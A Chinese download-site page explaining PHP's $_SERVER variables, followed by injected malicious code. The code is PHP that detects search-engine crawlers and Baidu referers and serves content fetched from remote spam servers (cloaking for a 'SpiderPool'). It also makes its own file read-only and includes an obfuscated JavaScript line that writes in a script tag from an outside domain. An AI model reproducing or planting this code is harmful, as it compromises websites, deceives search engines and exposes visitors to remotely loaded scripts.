PHP $_SERVER变量详解与常用函数

需积分: 3 1 下载量 111 浏览量 更新于2024-09-15 收藏 2KB TXT 举报
"$_SERVER"是PHP中的一个超全局数组,它包含了服务器和环境相关的各种信息。这个数组在处理用户请求、获取服务器配置细节以及进行安全分析时非常有用。以下是一些重要的`$_SERVER`数组键及其含义: 1. `$_SERVER['HTTP_ACCEPT_LANGUAGE']`: 这个键值表示客户端浏览器接受的语言类型,通常用于多语言网站来确定显示哪种语言的页面。 2. `$_SERVER['REMOTE_ADDR']`: 它存储了访问服务器的用户的IP地址,这对于识别用户或限制访问很有帮助。 3. `$_SERVER['REMOTE_HOST']`: 提供了远程主机的名称,基于`REMOTE_ADDR`解析得到。 4. `$_SERVER['REQUEST_URI']`: 这是用户请求的完整URL路径,包括查询字符串(如果有)。 5. `$_SERVER['REMOTE_PORT']`: 客户端连接到服务器所使用的端口号。 6. `$_SERVER['SERVER_NAME']`: 服务器的主机名,通常用于构建回显或确认服务器的标识。 7. `$_SERVER['PHP_SELF']`: 当前执行脚本的文件名,包括路径,有助于构建动态URL。 8. `$_SERVER['argv']` 和 `$_SERVER['argc']`: 如果脚本通过命令行方式运行,这两个变量分别包含命令行参数的数组和参数数量。 9. `$_SERVER['GATEWAY_INTERFACE']`: 定义了CGI(通用网关接口)版本,表明服务器如何处理请求。 10. `$_SERVER['SERVER_SOFTWARE']`: 显示服务器使用的软件及其版本,如Apache或Nginx等。 11. `$_SERVER['SERVER_PROTOCOL']`: 服务器与客户端之间通信使用的HTTP协议版本。 12. `$_SERVER['REQUEST_METHOD']`: 客户端发起请求的方法,如GET、POST等。 13. `$_SERVER['QUERY_STRING']`: 请求URL中的查询字符串部分。 14. `$_SERVER['DOCUMENT_ROOT']`: Web服务器的文档根目录,用于定位相对URL。 15. `$_SERVER['HTTP_ACCEPT']`: 表示客户端可以接受的MIME类型。 16. `$_SERVER['HTTP_ACCEPT_CHARSET']`: 客户端支持的字符集。 17. `$_SERVER['HTTP_ACCEPT_ENCODING']`: 客户端支持的数据压缩格式。 18. `$_SERVER['HTTP_CONNECTION']`: 描述了客户端与服务器之间的连接类型,例如是否保持持久连接。 19. `$_SERVER['HTTP_HOST']`: 请求的主机名,如果请求中有指定的话。 20. `$_SERVER['HTTP_REFERER']`: 记录用户是从哪个页面链接过来的,用于追踪来源。 21. `$_SERVER['HTTP_USER_AGENT']`: 包含了用户使用的浏览器类型、版本和操作系统信息。 22. `$_SERVER['HTTPS']`: 如果请求是通过HTTPS安全协议进行的,它的值为'on',否则为空或'off'。 23. `$_SERVER['SCRIPT_FILENAME']`: 当前执行PHP脚本的绝对路径。 24. `$_SERVER['SERVER_ADMIN']`: 服务器管理员的电子邮件地址,通常在服务器配置文件中定义。 25. `$_SERVER['SERVER_PORT']`: 服务器监听的端口。 26. `$_SERVER['SERVER_SIGNATURE']`: 可自定义的服务器响应尾部。 27. `$_SERVER['PATH_TRANSLATED']`: 与`SCRIPT_FILENAME`类似,但考虑了文档根目录之外的符号链接。 28. `$_SERVER['SCRIPT_NAME']`: 仅包含当前执行脚本的路径,不包括查询字符串。 这些`$_SERVER`数组的键值对于开发者来说是宝贵的资源,它们提供了与请求交互的上下文信息,帮助构建动态内容、实现安全检查以及优化用户体验。了解并熟练运用这些变量,是成为优秀PHP开发者的必备技能之一。

<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>

2023-06-12 上传